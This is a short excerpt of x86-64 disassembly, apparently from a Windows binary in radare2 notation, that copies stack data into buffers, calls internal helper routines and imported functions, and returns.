mov rax, qword [rbp + 0x2fc0]
mov qword [rbp], rax
movzx eax, word [rbp + 0x2fc8]
mov word [rbp + 8], ax
movzx eax, byte [rbp + 0x2fca]
mov byte [rbp + 0xa], al
mov edx, dword [rbp + 0x31d0]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.004223e0
mov ebx, 0
mov esi, 0
jmp 0x40a1d5
lea rax, [rbp + 0x2fd0]
lea rdx, [rbp + 0x2fcf]
mov rcx, rax
call fcn.0040407e
mov rax, qword [rbp + 0x2fd0]
mov rdx, qword [rbp + 0x2fd8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2fe0]
mov rdx, qword [rbp + 0x2fe8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2ff0]
mov rdx, qword [rbp + 0x2ff8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x3000]
mov rdx, qword [rbp + 0x3008]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x3010]
mov qword [rbp], rax
mov eax, dword [rbp + 0x3018]
mov dword [rbp + 8], eax
movzx eax, byte [rbp + 0x301c]
mov byte [rbp + 0xc], al
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.004225c0
mov r8, qword [0x00558068]
lea rdx, [rbp + 0x2ec]
mov rax, qword [rbp + 0x31b8]
mov rcx, rax
call r8
mov dword [rbp + 0x31d0], eax
cmp dword [rbp + 0x31d0], 0
je 0x40a148
lea rax, [rbp + 0x3020]
lea rdx, [rbp + 0x301f]
mov rcx, rax
call fcn.004042f8
mov rax, qword [rbp + 0x3020]
mov rdx, qword [rbp + 0x3028]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x3030]
mov rdx, qword [rbp + 0x3038]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x3040]
mov qword [rbp - 0x20], rax
mov eax, dword [rbp + 0x3048]
mov dword [rbp - 0x18], eax
mov edx, dword [rbp + 0x31d0]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00421d80
mov ebx, 0
mov esi, 0
jmp 0x40a1d5
lea rax, [rbp + 0x3050]
lea rdx, [rbp + 0x304f]
mov rcx, rax
call fcn.0040446a
mov rax, qword [rbp + 0x3050]
mov rdx, qword [rbp + 0x3058]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x3060]
mov rdx, qword [rbp + 0x3068]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x3070]
mov qword [rbp - 0x20], rax
mov eax, dword [rbp + 0x3078]
mov dword [rbp - 0x18], eax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00421ca0
mov rdx, qword [0x00558088]
mov rax, qword [rbp + 0x31c0]
mov rcx, rax
call rdx
mov rdx, qword [0x00558088]
mov rax, qword [rbp + 0x31b8]
mov rcx, rax
call rdx
mov esi, 1
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.004a8050
cmp esi, 1
jne 0x40a1ee
mov ebx, 0
mov eax, ebx
jmp 0x40b990
add rsp, 0x3340
pop rbx
pop rsi
pop rbp
ret